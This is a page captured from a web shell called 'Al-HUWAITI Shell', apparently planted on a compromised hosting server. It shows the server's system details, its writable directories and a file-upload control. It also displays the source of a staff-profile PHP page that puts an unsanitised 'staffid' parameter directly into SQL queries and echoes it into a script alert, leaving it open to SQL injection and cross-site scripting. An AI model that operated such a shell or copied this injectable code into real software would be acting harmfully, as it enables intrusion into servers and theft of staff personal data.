Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux server.xvl.jdw.mybluehostin.me 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : gcmknlac ( 1031)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/gcmknlac/www/img/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gcmknlac/www/img/staff_profile.php
<?php
//require "Login/assets/dbcon.php";
$staffid=$_GET['staffid'];
$results=mysqli_query($con,"SELECT * FROM `staff` WHERE `Employee_Id`='$staffid'");
$nrows=mysqli_num_rows($results);
$output=$output1=$output2=$output3="";

if($nrows==0){
  ?>
    <script language="javascript">
              window.alert("<?php echo $staffid ?>  Staff are Not Availble. We will be created");
              window.open('index.php','_self');
    </script>
  <?php
}else{
  while ($rows=mysqli_fetch_array($results)) {
    $id=$rows['id'];
   			$Employee_Id=$rows['Employee_Id'];
			$Name=$rows['Name'];
			$FatherName=$rows['FatherName'];
			$MotherName=$rows['MotherName'];
			$Designation=$rows['Designation'];
			$Gender=$rows['Gender'];
			$Department=$rows['Department'];
			$Date_of_Birth=$rows['Date_of_Birth'];
			$Date_of_appointment=$rows['Date_of_appointment'];
			$doj=$rows['doj'];
			$Address=$rows['Address'];
			$Phone_office=$rows['Phone_office'];
			$CellNo=$rows['CellNo'];
			$Email_ID=$rows['Email_ID'];
			$WebSite=$rows['WebSite'];
			$AadharNo=$rows['AadharNo'];
			$photo=$rows['photo'];
			$stafftype=$rows['stafftype'];

    # code...
  }

}
$results1=mysqli_query($con,"SELECT * FROM `qualification` WHERE `emp_ID`='$staffid'");
$output1="<br><h4 align='center' id='Qualification'><b> QUALIFICATION</b></h4>
					<hr id='line'><div class='Profile'><table class='table table-striped  table-hover' class='table-responsive'  id='dataTables-example'><tr><th>Qualification</th><th>Institution</th><th>Year</th></tr>";
while($rows1=mysqli_fetch_array($results1)){
	$Qualification=$rows1['Qualification'];
	$institution=$rows1['institution'];
	$Year=$rows1['Year'];
	$output1.="<tr><td>$Qualification</td><td>$institution</td><td>$Year</td></tr>";
}
$output1.="</table></div>";
//require "sidemenu.php";
$results2=mysqli_query($con,"SELECT * FROM `careerprofile` WHERE `emp_Id`='$staffid'");
$output2="<br><h4 align='center' id='Career'><b> Career Profile</b></h4>
					<hr id='line'><div class='Profile'><table class='table table-striped  table-hover' class='table-responsive'  id='dataTables-example'><tr><th>Designation</th><th>Institution</th><th>Period</th></tr>";
while($rows2=mysqli_fetch_array($results2)){
	$Designation=$rows2['Designation'];
	$Institution=$rows2['Institution'];
	$Period=$rows2['Period'];
	$output2.="<tr><td>$Designation</td><td>$Institution</td><td>$Period</td></tr>";
}
$output2.="</table></div>";


$results2=mysqli_query($con,"SELECT * FROM `research_profile` WHERE `emp_Id`='$staffid'");
$output3="<br><h4 align='center' id='Research'><b> Research Profile</b></h4>
					<hr id='line'><div class='Profile'><table class='table table-striped  table-hover' class='table-responsive'  id='dataTables-example'><tr><th>PublicationProfile</th><th>International</th><th>national</th><th>State</th></tr>";
while($rows2=mysqli_fetch_array($results2)){
	$PublicationProfile=$rows2['PublicationProfile'];
	$International=$rows2['International'];
	$national=$rows2['national'];
	$State=$rows2['State'];
	$output3.="<tr><td>$PublicationProfile</td><td>$International</td><td>$national</td><td>$State</td></tr>";
}
$output3.="</table></div>";




?>


<style type="text/css">
	h4{
		text-transform: uppercase;
		padding: 5px;
		background-color: #800000;
		color: #ffffff;
		border-radius: 10px;

	}
</style>

<div class="col-xl-10">
			
				<!-- banner -->	
				<br>	
							<!--Card system-->
					<div class="row">
					 		<div class="col-xl-12 col-md-5 ">
					              <div class="card border-left-success shadow h-100 py-2">
					                <div class="card-body">
					                  <div class="row no-gutters align-items-center">
					                    
					                      
					                   			<h4 id='dept'><b> <?php echo $Department ?></b> DEPARTMENT STAFF PROFILE </h4>
					                   			<p style="float: right;margin-left: 100px"><a href="#Career" class="scroll"  > <b class="btn btn-primary">Career</b> </a>

					                   				<a href="#Qualification" class="scroll"   > <b class="btn btn-primary">Qualification</b> </a>
					                   				<a href="#Research" class="scroll"   > <b class="btn btn-primary">Research Profile</b> </a>

					                   			</p>
												<hr id="line">
											
													<table class='table table-striped  table-hover' class='table-responsive'  id='dataTables-example'>
													<tr><td>Name</td><td>: <b><?php echo $Name ?></b></td></tr>
													<tr><td>Father's Name</td><td>: <?php echo $FatherName ?></td></tr>
													<tr><td>Designation</td><td>: <?php echo $Designation ?></td></tr>
													<tr><td>Date of Birth</td><td>: <?php echo $Date_of_Birth ?></td></tr>
													<tr><td>Date of Appointment</td><td>: <?php echo $Date_of_appointment ?></td></tr>
													<tr><td>Date of Join in Current Station</td><td>: <?php echo $doj ?></td></tr>
													<tr><td>Cell No</td><td>: <?php echo $CellNo ?></td></tr>
													<tr><td>Email ID</td><td>: <?php echo $Email_ID ?></td></tr>
													<tr><td>Aaddar No</td><td>: <?php echo $AadharNo ?></td></tr>
													<tr><td>Address</td><td>: <?php echo $Address ?></td></tr>
													<tr><td>Staff Type</td><td>: <?php echo $stafftype ?></td></tr>
												</table>
											 <div style="width: 100%;padding: 2%">	
					                      	<?php echo $output2 ?>

					                      	<a href="#dept" class="scroll"  style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>

					                        </div>
											<div style="width: 100%;padding: 2%">	
					                      	<?php echo $output1 ?>

					                      	<a href="#" class="scroll"  style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>

					                      	<?php echo $output3 ?>

					                      	<a href="#dept" class="scroll"  style="display: block;float:right;color: blue;width: 10%" > <img src='img/arrow-circle-up.svg'></a>
					                        </div>
					                       
					                    </div>
					                    
					                  </div>
					                </div>
					              </div>
					            </div>
					        </div>
					               
					</div>
					
					         
		</div>	
</div>		
</div>

Al-HUWAITI Shell